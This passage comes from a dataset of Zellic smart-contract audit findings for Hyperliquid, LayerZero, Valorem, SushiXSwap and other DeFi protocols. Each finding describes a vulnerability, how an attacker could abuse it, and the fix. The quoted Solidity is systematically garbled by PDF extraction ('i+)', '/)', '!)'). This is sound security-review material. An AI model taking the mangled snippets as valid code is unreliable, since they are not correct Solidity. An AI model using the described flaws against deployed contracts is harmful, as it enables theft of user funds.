be cleared, but fundsDeployed would be set to false. If the owner later tries to clear the queue by calling the function clearQueuedDeposits multiple times, the exchange rate would temporarily fluctuate. This is due to a bug in the function clearQueuedDeposits. While clearing part of the queue, the function pulls all the funds from the QueueCon- tract. At this time, the totalSupply is only increased by a small amount, but totalAss ets is increased by a large amount. The exchange rate would again reach back to the Zellic Y2K Finance expected amount when the entire queue is cleared, but between the calls to clearQ ueuedDeposits, the exchange rate is incorrect. A malicious user can profit by calling withdraw between these calls as they would receive more assets than they should. A malicious user can sell shares at higher price than expected. In the function clearQueuedDeposits, only the assets that are removed from the queue should be pulled from the QueueContract. The issue was fixed in commit 86e24fe. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.13 Incorrect weights calculation", + "labels": [ + "Zellic" + ], + "body": "Target: PositionSizer Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The function _thresholdWeight performs a calculation of weights for a set of vaults based on their return on investment (ROI) compared to a threshold value. However, during the process of identifying valid vaults, the validIds array is populated with both valid indexes and zeros, which leads to unintended behavior. The second loop iterates over this array to calculate weights only until validCount. But validCount is less than the actual validIds size. So the weights will be calculated only for the first validCount elements from the validIds array, regardless of whether they are valid indexes or zeros. function _thresholdWeight( address[] memory vaults, uint256[] memory epochIds ) internal view returns (uint256[] memory weights) { ...)) for (uint256 i; i < vaults.length; ) { uint256 roi = _fetchReturn(vaults[i], epochIds[i], marketIds[i]); if (roi > threshold) { validCount += 1; validIds[i] = i; } unchecked { i+); } } ...)) uint256 modulo = 10_000 % validCount; for (uint j; j < validCount; ) { uint256 location = validIds[j]; weights[location] = 10_000 / validCount; if (modulo > 0) { weights[location] += 1; modulo -= 1; } Zellic Y2K Finance unchecked { j+); } } } This behavior leads to missing weights calculations for a portion of the valid vaults. We recommend correcting the second loop so that it iterates the entire length of the validIds array and counts the weights only if the validIds[j] is not zero. The issue was fixed in commit d9ee9d3. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Withdrawal finalization does not work", + "labels": [ + "Zellic" + ], + "body": "Target: Bridge2 Category: Coding Mistakes Likelihood: High Severity: High : High The single entry point for finalizing withdrawals is the batchedFinalizeWithdrawals function, which iterates over an array of messages and calls finalizeWithdrawal on each. Both functions have the nonReentrant modifier. function batchedFinalizeWithdrawals( bytes32[] calldata messages ) external nonReentrant whenNotPaused { checkFinalizer(msg.sender); uint64 end = uint64(messages.length); for (uint64 idx; idx < end; idx+)) { finalizeWithdrawal(messages[idx]); } } function finalizeWithdrawal(bytes32 message) private nonReentrant whenNotPaused { require(!finalizedWithdrawals[message], \u201dWithdrawal already finalized\u201d); Withdrawal memory withdrawal = requestedWithdrawals[message]; checkDisputePeriod(withdrawal.requestedTime, withdrawal.requestedBlockNumber); finalizedWithdrawals[message] = true; usdcToken.transfer(withdrawal.user, withdrawal.usdc); emit FinalizedWithdrawal( FinalizedWithdrawalEvent({ user: withdrawal.user, Zellic Hyperliquid usdc: withdrawal.usdc, nonce: withdrawal.nonce, message: withdrawal.message }) ); } Any finalization attempt will immediately revert because of the nonReentrant mod- ifier on finalizeWithdrawal, preventing any withdrawal from the bridge from being finalized. We classified this issue as high severity due to the fundamental importance of the finalization step for the contract operation. We recommend removing the nonReentrant modifier from the private finalizeWithd rawal function and adding test cases to ensure its correct behavior. This issue has been acknowledged by the Hyperliquid contributors, and a fix was im- plemented in commit e5b7e068. Zellic Hyperliquid", + "html_url": "https://github.com/Zellic/publications/blob/master/Hyperliquid - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Disputed actions are not blocked by validator rotation", + "labels": [ + "Zellic" + ], + "body": "Target: Bridge2 Category: Business Logic Likelihood: Low Severity: High : Medium The bridge implements a two-step mechanism for performing withdrawals and val- idator set changes. First, a request authorizing the action has to be submitted. The request has to be signed by a two thirds majority of validators. If the request is valid, it is recorded in the contract storage. The second step, finalization, actually performs the requested action and can only occur after a dispute period has elapsed. The dispute period gives the opportunity to pause the contract in the event of one or more validators being compromised. Un- pausing the contract also requires to rotate the validator set, allowing replacement of the compromised validators. However, the current implementation does not allow to remove pending operations. For example, if a malicious withdrawal was detected and the contract was paused, the operation would stay pending and could be processed when the contract is unpaused. If a sufficiently large subset of hot wallets is compromised, the dispute period does not effectively allow malicious withdrawals or validator set updates to be blocked. Even if validators are rotated, pending actions would still be able to be finalized when the contract is unpaused. We recommend adding a mechanism for invalidating pending messages. For exam- ple, this could be implemented in the emergencyUnlock function. This issue has been acknowledged by the Hyperliquid contributors, and a fix was im- plemented in commit 8c4a182a. Zellic Hyperliquid", + "html_url": "https://github.com/Zellic/publications/blob/master/Hyperliquid - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Missing message validation may allow griefing", + "labels": [ + "Zellic" + ], + "body": "Target: Bridge2 Category: Business Logic Likelihood: Low Severity: Informational : Informational The finalizeWithdrawals function does not check that the given message corresponds to an existing withdrawal request. Since the uninitialized values of the corresponding withdrawal data will be zero, the call to checkDisputePeriod will pass: function checkDisputePeriod(uint64 time, uint64 blockNumber) private view { require( block.timestamp > time + disputePeriodSeconds &) (uint64(block.number) - blockNumber) * blockDurationMillis > 1000 * disputePeriodSeconds, \u201dStill in dispute period\u201d ); } When messages do not correspond to existing withdrawals, they will cause a transfer of zero tokens to the zero address. In the case of USDC on Arbitrum, this will currently result in a revert. However, if this logic is reused for other ERC-20 tokens, there is no guarantee that such a call will be blocked. Then, although the message does not correspond to an existing withdrawal, it will be marked as finalized, anyway: finalizedWithdrawals[message] = true; usdcToken.transfer(withdrawal.user, withdrawal.usdc); Thus, any future attempts to finalize that message will fail. If an attacker is able to 1. predict upcoming nonces, or 2. front-run withdrawal requests, Zellic Hyperliquid they would be able to block real withdrawals from being finalized. Consider checking that messages correspond to existing withdrawals during the fi- nalization process. In the case of USDC, this has the additional benefit of improving the error message. This issue has been acknowledged by the Hyperliquid contributors, and a fix was im- plemented in commit 1c8d3333. Zellic Hyperliquid", + "html_url": "https://github.com/Zellic/publications/blob/master/Hyperliquid - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Signatures may be reused across different contracts", + "labels": [ + "Zellic" + ], + "body": "Target: Signature Category: Business Logic Likelihood: Low Severity: Informational : Informational On the Arbitrum side, the bridge operates by allowing users to perform actions ap- proved by validators. For instance, to request a withdrawal, the user needs at least two thirds of the validators (if validator power is equally distributed) to sign off us- ing their in-memory hot keys. The bridge checks these signatures, and if the user is indeed permitted to perform the withdrawal, it transfers them the USDC. Currently, signatures include a domain separator to prevent reuse across different chains and projects. This is important to ensure that they are specific to the context in which they are used and cannot be maliciously repurposed. function makeDomainSeparator() view returns (bytes32) { return keccak256( abi.encode( EIP712_DOMAIN_SEPARATOR, keccak256(bytes(\u201dExchange\u201d)), keccak256(bytes(\u201d1\u201d)), block.chainid, VERIFYING_CONTRACT ) ); } However, the signatures do not include the contract or token address. The fact that the domain separator does not by default include any contract-specific data introduces some maintenance risk: the protocol must ensure that signatures can- not be reused across contracts on the same chain. For instance, if the exact same contract were used for a different ERC-20 token, an attacker may be able to steal funds by replaying withdrawal messages. Zellic Hyperliquid We recommend including either the contract address or the token address in signa- tures (either the domain separator or in the message itself) to increase robustness and avoid future issues. This issue has been acknowledged by the Hyperliquid contributors, and a fix was im- plemented in commit 97225667. Zellic Hyperliquid", + "html_url": "https://github.com/Zellic/publications/blob/master/Hyperliquid - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Withdrawal and validator update signatures include no ac- tion", + "labels": [ + "Zellic" + ], + "body": "Target: Bridge2 Category: Business Logic Likelihood: N/A Severity: Informational : Informational To include important parameters in signatures, the bridge packs them together and hashes them. This data is stored in the connectionId slot of the Agent struct, which has an associated function hash for creating the actual signed message. struct Agent { string source; bytes32 connectionId; } In some functions, the hashed data in connectionId includes the name of an action: Agent memory agent = Agent(\u201da\u201d, keccak256(abi.encode(\u201dmodifyLocker\u201d, locker, isLocker, nonce))); However, the connectionIds used in the requestWithdrawal and updateValidatorSet Agent\u2019s do not. Instead, they rely on the arguments being different to prevent valid signatures from being used in the wrong function. From requestWithdrawal and upda teValidatorSet: Agent memory agent = Agent(\u201da\u201d, keccak256(abi.encode(msg.sender, usdc, nonce))); Agent memory agent = Agent( \u201da\u201d, keccak256( abi.encode( newValidatorSet.epoch, newValidatorSet.hotAddresses, newValidatorSet.coldAddresses, newValidatorSet.powers ) ) Zellic Hyperliquid ); This introduces some maintenance risk: updating these signature arguments may have the unintended consequence of allowing confusion between the two types. That might allow users to use withdrawal signatures to maliciously update validators. We recommend consistently prefixing all messages with the action to guarantee that changes in arguments do not cause bugs. This issue has been acknowledged by the Hyperliquid contributors, and a fix was im- plemented in commit b198269c. Zellic Hyperliquid", + "html_url": "https://github.com/Zellic/publications/blob/master/Hyperliquid - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Using non-contract address as destination blocks future mes- sages", + "labels": [ + "Zellic" + ], + "body": "Target: Endpoint Category: Coding Mistakes Likelihood: Medium Severity: Low : Low An improperly-configured user application (UA) can permanently block itself from communicating with an endpoint by simply sending a message to a UA address that is not a contract. If a UA sends a message with a destination UA address that is not a contract, the following try/catch statement does not catch the exception (as the control structure only catches failures in an external call) causing a revert on the destination chain: try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId , _srcAddress, _nonce, _payload) { /) success, do nothing, end of the message delivery } catch (bytes memory reason) { /) revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64( _payload.length), _dstAddress, keccak256(_payload)); emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason); } If the destination chain reverts, the source chain\u2019s nonce remains incremented by 1 while the destination chain\u2019s nonce is unchanged. When the nonces are desynchronized, no messages can be sent to any destination UA address because the destination endpoint assumes the messages are out of order. Endpoints key the nonce map with the source chain ID and source UA address\u2014 Zellic LayerZero Labs meaning this issue can only be exploited as self-denial-of-service. Recommendation Add a check to ensure the destination UA is a valid contract address before attempt- ing to execute its lzReceive function. If the contract address is invalid, the endpoint should route the message to a default contract address that discards the message to keep the nonces synchronized. The issue was also discovered in parallel by LayerZero and a fix will be released with UltraLightNode version 2. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Core - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Out-of-bounds read in __getPrices", + "labels": [ + "Zellic" + ], + "body": "Target: Relayer Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The __getPrices function uses the MLOAD instruction to read dstNativeAmt from _ada- pterParameters+66 when txType =) 2: if (txType == 2) { uint dstNativeAmt; assembly { dstNativeAmt :) mload(add(_adapterParameters, 66)) } require(dstConfig.dstNativeAmtCap >) dstNativeAmt, \u201cRelayer: dstNativeAmt too large\u201d); totalRemoteToken = totalRemoteToken.add(dstNativeAmt); } At the start of the function, it checks that the size of _adapterParameters is either 34 bytes or greater than 66 bytes: require(_adapterParameters.length =) 34 |) _adapterParameters.length > 66, \u201cRelayer: wrong _adapterParameters size\u201d); Because the assertion allows an _adapterParameters of a size smaller than the offset added to the size of the memory read, the read could potentially be out of bounds. There is no direct security impact of this instance of out-of-bounds read. However, this code pattern allows undefined behavior and is potentially dangerous. In the past, even low-level vulnerabilities have been chained with other bugs to achieve critical security compromises. Zellic LayerZero Labs Recommendation The size of a uint (which is internally a uint256) is 32 bytes. So, the branch that uses the MLOAD instruction should require that the size of _adapterParameters is greater than or equal to the read size added to offset, or 98 bytes (32+66). The issue has been acknowledged by LayerZero. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Core - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Messaging library provides a function to renounce owner- ship", + "labels": [ + "Zellic" + ], + "body": "Target: UltraLightNode Category: Business Logic Likelihood: N/A Severity: Informational : Informational The messaging library, UltraLightNode (ULN), implements Ownable which provides a method named renounceOwnership that removes the current owner (reference). This is likely not a desired feature of the ULN. If renounceOwnership were called, the contract would be left without an owner. Recommendation Override the renounceOwnership function: function renounceOwnership() public { revert(\u201cThis feature is not available.\u201d); } The issue has been acknowledged by LayerZero. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Core - Zellic Audit Report.pdf" + }, + { + "title": "3.1 USDT transfers can be forced to revert for subsequent users", + "labels": [ + "Zellic" + ], + "body": "Target: All Adapters Category: Business Logic Likelihood: Medium Severity: Medium : Medium In several adapters, there are external functions designed specifically for use by SushiXSwapV2. However, users can call these functions without restriction, leading to unintended side effects or malicious actions. function swap( uint256 _amountBridged, bytes calldata _swapData, address _token, bytes calldata _payloadData ) external payable override { ...)) IERC20(rpd.tokenIn).safeIncreaseAllowance(address(rp), _amountBridged); rp.processRoute( rpd.tokenIn, _amountBridged !) 0 ? _amountBridged : rpd.amountIn, rpd.tokenOut, rpd.amountOutMin, rpd.to, rpd.route ); } A malicious user can exploit a specific sequence of function calls to leave an allowance on certain tokens like USDT, which will cause a revert when attempting to approve if Zellic SushiSwap the allowance has not been previously set to 0. An example of this is when a user calls the Axelar adapter\u2019s swap function and provides a specific route to the RouteProcessor that does not fully utilize the allowance. As a result, other users attempting to use the Axelar adapter with USDT will encounter a revert, preventing them from successfully completing the operation. To fix this issue, it is recommended to zero the USDT allowance where applicable. This will ensure that the allowance is properly reset and prevent the above scenario. This finding was fixed in commit b9f1a4ab by changing from a pull method via al- lowances to a push method that directly transfers tokens instead. Zellic SushiSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/SushiXSwap V2 - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Refunds sent to tx.origin", + "labels": [ + "Zellic" + ], + "body": "Target: AxelarAdapter, CCTPAdapter, StargateAdapter Category: Coding Mistakes Likelihood: Low Severity: Low : Low The Axelar, CCTP, and Stargate adapters use tx.origin as the address that receives gas refunds in their implementation of adapterBridge. This might not be the desired recipient of the refund. For example, consider the case of an EOA (user) invoking a contract that in turn calls SushiXSwap to bridge an asset owned by the contract (and paying for gas using the contract balance). A refund for excess gas would be credited to the user, even though the contract has paid for gas. In some cases, gas refunds might be credited to an incorrect recipient. One possible solution is for SushiXSwap to pass the intended recipient for gas refunds to adapterBridge. This way, SushiXSwap could pass msg.sender as the gas refund re- cipient, which seems to be a more sensible choice. This finding was fixed in commit b9f1a4ab by introducing a variable that allows users to specify an address to refund to. Zellic SushiSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/SushiXSwap V2 - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Gas limit ignored by executePayload", + "labels": [ + "Zellic" + ], + "body": "Target: AxelarAdapter, CCTPAdapter, StargateAdapter Category: Coding Mistakes Likelihood: Low Severity: Low : Low The Axelar, CCTP, and Stargate adapters\u2019 implementation of executePayload ignores the PayloadData:)gasLimit field, which seems to be intended to be used as the gas limit for the call to PayloadData:)target. The target of the IPayloadExecutor(pd.target).onPayloadReceive call could use more gas than intended. However, we note that while executePayload is an external func- tion, it is intended to be called by _executeWithToken or _execute, which do limit the gas passed to executePayload, preventing the transaction from consuming all the available gas when the contract is used as intended by the developer. Set the gas limit on the IPayloadExecutor(pd.target).onPayloadReceive call to pd.ga sLimit. This finding was fixed in commit b9f1a4ab by setting the gas limit of the relevant func- tion calls. Zellic SushiSwap", + "html_url": "https://github.com/Zellic/publications/blob/master/SushiXSwap V2 - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Multiple contracts provide a function to renounce owner- ship", + "labels": [ + "Zellic" + ], + "body": "Target: StakingRewards, MUNIState, MUNI Category: Business Logic Likelihood: N/A Severity: Informational : Informational The StakingRewards, MUNIState, and MUNI contracts implement Ownable, which pro- vides a method named renounceOwnership that removes the current owner (refer- ence). This is likely not a desired feature. If renounceOwnership were called, the contract would be left without an owner. Recommendation Override the renounceOwnership function: function renounceOwnership() public { revert(\u201cThis feature is not available.\u201d); } DFX Finance acknowledged this finding and created a fix in pull request #35. Zellic DFX Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Muni - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Lack of interfaces for MUNILogicV1 and MUNI", + "labels": [ + "Zellic" + ], + "body": "Target: MUNILogicV1, MUNI Category: Code Maturity Likelihood: N/A Severity: Informational : Informational Interfaces for the public APIs of MUNILogicV1 and MUNI do not exist. Interactions with smart contracts may be more difficult; it is a composability issue for future developers who want to build upon or understand the codebase. Recommendation We recommend adding all exposed/public APIs to interfaces in a way that accurately reflects the underlying code. DFX Finance acknowledged this finding and created a fix in pull request #37. Zellic DFX Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Muni - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Unhandled division-by-zero error in borrowAsset()", + "labels": [ + "Zellic" + ], + "body": "Target: SiloGateway Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational In the borrowAsset() function, there is no check for the possibility of totalAsset being 0, which could lead to a division-by-zero error in numerator / totalAsset. function borrowAsset( address _silo, uint256 _borrowAmount, uint256 _collateralAmount, address _collateralAsset, address _receiver ) external nonReentrant { (uint256 totalAsset, ) = ISilo(_silo).totalAsset(); (uint256 totalBorrow, ) = ISilo(_silo).totalBorrow(); uint256 numerator = UTIL_PREC * (totalBorrow + _borrowAmount); uint256 utilizationRate = numerator / totalAsset; ...)) If totalAsset is 0 and someone tries to execute the borrowAsset, the transaction will revert due to the division by zero. Add a zero check on totalAsset for a more graceful and informative handling of this situation. require(totalAsset !) 0, \u201dTotal Asset is zero\u201d); Zellic Sturdy This issue has been acknowledged by Sturdy, and a fix was implemented in commit ca396917. Zellic Sturdy", + "html_url": "https://github.com/Zellic/publications/blob/master/Sturdy - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Un-encoded claimID can be used in write()", + "labels": [ + "Zellic" + ], + "body": "Target: OptionSettlementEngine Category: Coding Mistakes Likelihood: Medium Severity: High : High Users are allowed to create a position in an option through the write() function. This allows passing both the optionID, which corresponds to the option at hand, and the claimID, which corresponds to the claim that a user has when wanting to redeem the position. Currently, the only performed check is that the lower 96 bytes of both the claimID and optionID are identical. function write(uint256 optionId, uint112 amount, uint256 claimId) public returns (uint256) { (uint160 optionKey, uint96 decodedClaimNum) = decodeTokenId(optionId); /) optionId must be zero in lower 96b for provided option Id if (decodedClaimNum !) 0) { revert InvalidOption(optionId); } /) claim provided must match the option provided if (claimId !) 0 &) ((claimId >) 96) !) (optionId >) 96))) { revert EncodedOptionIdInClaimIdDoesNotMatchProvidedOptionId(claimId, optionId); } /) ...)) If an attacker was to call write() with claimID identical to optionID, then they would effectively bypass the current checks, and instead of minting X options and one claim, they could mint X + 1 options and no claim. Zellic Valorem Inc function write(uint256 optionId, uint112 amount, uint256 claimId) public returns (uint256) { uint256 encodedClaimId = claimId; /) @audit-info assume the claimId has already been encoded. if (claimId =) 0) { /) ...)) } else { /) /) check ownership of claim uint256 balance = balanceOf[msg.sender][encodedClaimId]; if (balance !) 1) { revert CallerDoesNotOwnClaimId(encodedClaimId); } /) retrieve claim OptionLotClaim storage existingClaim = _claim[encodedClaimId]; existingClaim.amountWritten += amount; } /) ...)) if (claimId =) 0) { /) Mint options and claim token to writer uint256[] memory tokens = new uint256[](2); tokens[0] = optionId; tokens[1] = encodedClaimId; /) @audit-info assumes encodedClaimId is no longer the same as claimId /) at this point, however, encodedClaimId = claimId = optionId uint256[] memory amounts = new uint256[](2); amounts[0] = amount; amounts[1] = 1; /) claim NFT _batchMint(msg.sender, tokens, amounts, \u201c\u201d); Not minting the accompanying claimNFT leads to indefinitely locking the collateral that was associated with that particular claim. Zellic Valorem Inc We recommend assuring that encodedClaimId can never be the same as optionID. The issue has been fixed in commit 05f8f561. Zellic Valorem Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Valorem - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Rounding error in the redeem mechanism", + "labels": [ + "Zellic" + ], + "body": "Target: OptionSettlementEngine Category: Business Logic Likelihood: High Severity: High : High During the redeem process, the _getAmountExercised function is called. function _getAmountExercised(OptionLotClaimIndex storage claimIndex, OptionsDayBucket storage claimBucketInfo) internal view returns (uint256 _exercised, uint256 _unexercised) { /) The ratio of exercised to written options in the bucket multiplied by the /) number of options actually written in the claim. _exercised = FixedPointMathLib.mulDivDown( claimBucketInfo.amountExercised, claimIndex.amountWritten, claimBucketInfo.amountWritten ); /) The ratio of unexercised to written options in the bucket multiplied by the /) number of options actually written in the claim. _unexercised = FixedPointMathLib.mulDivDown( claimBucketInfo.amountWritten - claimBucketInfo.amountExercised, claimIndex.amountWritten, claimBucketInfo.amountWritten ); } Due to the nature of how the amounts of exercised and unexercised options are calcu- lated, there is the possibility of a rounding error. This may happen if claimBucketInfo.a mountWritten - claimBucketInfo.amountExercised * claimIndex.amountWritten < cl aimBucketInfo.amountWritten. For example, this applies when the amount that was exercised globally has almost reached the amount that was written globally, and a users written claim is relatively low. In this case, the user will receive no underlying Zellic Valorem Inc tokens, even though they have exercised their options, as well as slightly less exercise tokens than they should have. Depending on the variables of the equations, the user may potentially incur a loss of some or all of their unexercised or exercised tokens. This issue was identified by the Valorem team and verified by Zellic. Valorem imple- mented changes to the calculations in underlying(), redeem(), and claim(), by placing all multiplication before division, to prevent loss of precision. During the remediation phase of the audit, Valorem implemented significant changes to the options\u2019 writing mechanism and overall contract architecture in order to ad- dress the issues that were identified. A thorough examination will be conducted dur- ing the next audit phase to confirm that these changes have effectively resolved the issue. Zellic Valorem Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Valorem - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Writing during the exercise period may lead to arbitrage opportunities", + "labels": [ + "Zellic" + ], + "body": "Target: OptionSettlementEngine Category: Business Logic Likelihood: Medium Severity: Medium : Medium Currently, a user is allowed to write an option until its expiry date. The exercise period, however, lasts from the exercise to the expiry timestamps of an option. function write(uint256 optionId, uint112 amount, uint256 claimId) public returns (uint256) { /) ...)) Option storage optionRecord = _option[optionKey]; uint40 expiry = optionRecord.expiryTimestamp; if (expiry =) 0) { revert InvalidOption(optionKey); } if (expiry <) block.timestamp) { revert ExpiredOption(optionId, expiry); } /) ...)) } function exercise(uint256 optionId, uint112 amount) external { /) ...)) Option storage optionRecord = _option[optionKey]; if (optionRecord.expiryTimestamp <) block.timestamp) { revert ExpiredOption(optionId, optionRecord.expiryTimestamp); } /) Require that we have reached the exercise timestamp if (optionRecord.exerciseTimestamp >) block.timestamp) { revert ExerciseTooEarly(optionId, optionRecord.exerciseTimestamp); } /) ...)) } Zellic Valorem Inc This overlapping of the writing and exercising periods is prone to arbitrage opportuni- ties. Due to the way the options\u2019 buckets are organized (per day), one can predict that should a specific exercise happen in today\u2019s bucket, writing to it leads to a guaranteed share of the exercise tokens. The arbitrage opportunity does not lead to loss of funds for the user; however, it may lead to unexpected returns in terms of exercise tokens of an option. We recommend either disallowing the writing of options during the exercise period or creating a time buffer such that only buckets that have been written at least one day prior to the current epoch can be exercised. During the remediation phase of the audit, Valorem implemented significant changes to the options\u2019 writing mechanism and overall contract architecture in order to ad- dress the issues that were identified. A thorough examination will be conducted dur- ing the next audit phase to confirm that these changes have effectively resolved the issue. Zellic Valorem Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Valorem - Zellic Audit Report.pdf" + }, + { + "title": "3.4 The _claimIdToClaimIndexArray mapping is not reset in the redeem() function", + "labels": [ + "Zellic" + ], + "body": "Target: OptionSettlementEngine Category: Business Logic Likelihood: Low Severity: Low : Low The _claim mapping contains the OptionLotClaimIndex object for claimId. This points the claimId to a claim\u2019s indices in the _claimIndexArray array. The information is cre- ated during the _addOrUpdateClaimIndex call. During the redeem call, an internal _getPo sitionsForClaim is called, which in turn retrieves the exercise and underlying amounts of a claim. function redeem(uint256 claimId) external { /) ...)) (uint256 exerciseAmount, uint256 underlyingAmount) = _getPositionsForClaim(optionKey, claimId, optionRecord); /) ...)) } function _getPositionsForClaim(uint160 optionKey, uint256 claimId, Option storage optionRecord) internal view returns (uint256 exerciseAmount, uint256 underlyingAmount) { OptionLotClaimIndex storage claimIndexArray = _claimIdToClaimIndexArray[claimId]; for (uint256 i = 0; i < claimIndexArray.length; i+)) { OptionLotClaimIndex storage = claimIndexArray[i]; OptionsDayBucket storage claimBucketInfo = _claimBucketByOption[optionKey][claimIndex.bucketIndex]; (uint256 amountExercised, uint256 amountUnexercised) = _getAmountExercised(claimIndex, claimBucketInfo); exerciseAmount += optionRecord.exerciseAmount * amountExercised; underlyingAmount += optionRecord.underlyingAmount * amountUnexercised; Zellic Valorem Inc } } The claimId token is burned, but the storage still contains information about it. This information is no longer necessary, and in the expected behavior of the protocol, it will never be re-used. To avoid further unexpected behavior, we recommend deleting the _claimIdToClaim IndexArray[claimId] object altogether. function redeem(uint256 claimId) external { /) ...)) (uint256 exerciseAmount, uint256 underlyingAmount) = _getPositionsForClaim(optionKey, claimId, optionRecord); delete _claimIdToClaimIndexArray[claimId]; /) ...)) } During the remediation phase of the audit, Valorem implemented significant changes to the options\u2019 writing mechanism and overall contract architecture in order to ad- dress the issues that were identified. A thorough examination will be conducted dur- ing the next audit phase to confirm that these changes have effectively resolved the issue. Zellic Valorem Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Valorem - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Incomplete whitelist and blacklist functionality in Resonate- Helper", + "labels": [ + "Zellic" + ], + "body": "Target: ResonateHelper Category: Business Logic Likelihood: Low Severity: Low : Low Once a fxSelector has been added to the whitelist, it cannot later be blacklisted. For example, if the function has not been blacklisted it can be set in the whitelist: function whiteListFunction(uint32 selector) external onlySandwichBot glassUnbroken { require(!blackListedFunctionSignatures[selector], \u201cER030\u201d); whiteListedFunctionSignatures[selector] = true; } And if the function has been whitelisted, it can still be blacklisted: function blackListFunction(uint32 selector) external onlySandwichBot glassUnbroken { blackListedFunctionSignatures[selector] = true; } However, if a function has been whitelisted and is then blacklisted, it will still pass the validation check in proxyCall(\u2026) because function logic only requires the fxSelector to exist in the whitelist: function proxyCall(bytes32 poolId, address vault, address[] memory targets, uint[] memory values, bytes[] memory calldatas) external onlySandwichBot glassUnbroken { for (uint256 i = 0; i < targets.length; i++) { require(calldatas[i].length >) 4, \u201cER028\u201d); /)Prevent calling fallback function for re-entry attack bytes memory selector = BytesLib.slice(calldatas[i], 0, 4); uint32 fxSelector = BytesLib.toUint32(selector, 0); require(whiteListedFunctionSignatures[fxSelector], \u201cER025\u201d); } Zellic Revest Finance ISmartWallet(_getWalletForFNFT(poolId)).proxyCall(vault, targets, values, calldatas); } If the sandwichbot were to mistakenly set a dangerous function (or a function that later turned out to be dangerous) to the whitelist they would not be able to later block that function from being passed to proxyCall(...))). Include logic to blacklist previously whitelisted functions. The blacklist should be im- mediately set to include increaseAllowance and approve as these functions can be used to increase spending allowance, which can trigger transactions that would pass the balance checks on proxyCall(...))) in ResonateSmartWallet. Revest has added in the functionality that would allow for blacklisting of previously whitelisted functions in commit f95f9d5ac4ac31057cef185d57a1a7b03df5f199. The func- tions increaseAllowance and approve have been added to the blacklist in commit f24 28392e0ce022cd6fde9cf41e654879c03119c. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Resonate Pt. 2 - Zellic Audit Report.pdf" + }, + { + "title": "3.2 ERC20 decimals() method may be unimplemented", + "labels": [ + "Zellic" + ], + "body": "Target: FarmingPool Severity: Informational : Informational Category: Business Logic Likelihood: n/a FarmingPool provides a public method to get the number of decimals of the stakingToken which calls the decimals method of the underlying IERC20 token. However, the EIP-20 standard declares that the decimals method is optional and that other contracts and interfaces should not rely on it being present. According to the excerpt from the EIP-20 standard: Excerpt from the EIP-20 standard The function could revert or return incorrect data. This may pose a composability risk for other contracts that try to interact with the farming pool. Add documentation stipulating that the decimals method is required, or that the im- plementation may be unreliable. The issue has been acknowledged by 1inch, and they will add natspec documentation when it will be implemented. Zellic 1inch Farming", + "html_url": "https://github.com/Zellic/publications/blob/master/1inch Farming Audit Report.pdf" + }, + { + "title": "3.3 Undocumented code", + "labels": [ + "Zellic" + ], + "body": "Target: Multiple contracts Severity: Low : Informational Category: Code Maturity Likelihood: n/a The methods in the contracts FarmingPool, IFarmingPool, ERC20Farmable, Farm, IFarm, UserAccounting, FarmAccounting, IERC20Farmable lack documentation in general. There are few or no code comments available. This is a source of developer confusion and a general coding hazard. Lack of doc- umentation, or unclear documentation, is a major pathway to future bugs. It is best practice to document all code. Documentation also helps third-party developers inte- grate with the platform, and helps any potential auditors more quickly and thoroughly assess the code. Since there are plans to eventually merge the contracts into Open- Zeppelin, a widespread community library, the code should be as mature as possible. Document the functions in the affected contracts so that the purpose, preconditions, and semantics are clearly explained. Return values and function arguments should be detailed to help prevent mistakes when calling the functions. The issue has been acknowledged by 1inch, and they will add additional documenta- tion. Zellic 1inch Farming", + "html_url": "https://github.com/Zellic/publications/blob/master/1inch Farming Audit Report.pdf" + }, + { + "title": "3.4 Internal discrepancy between function access control", + "labels": [ + "Zellic" + ], + "body": "Target: Farm, FarmingPool Severity: Low : Informational Category: Code Maturity Likelihood: n/a The functions _updateCheckpoint in Farm and FarmingPool both have the private ac- cess control modifier. However, when passed to the startFarming function as a call- back, the parameter type is labeled as internal. A manual review found no security issues with the current implementation. However, while there is no immediate impact, inconsistencies like these can make the code con- fusing and difficult to reason about, which could lead to future bugs. Since there are plans to eventually merge the contracts into OpenZeppelin, a widespread community library, the code should be as mature as possible. Modify the function _updateCheckpoint to be an internal function if this was not a de- liberate design decision. The issue was fixed by 1inch in commit e513e429. Zellic 1inch Farming", + "html_url": "https://github.com/Zellic/publications/blob/master/1inch 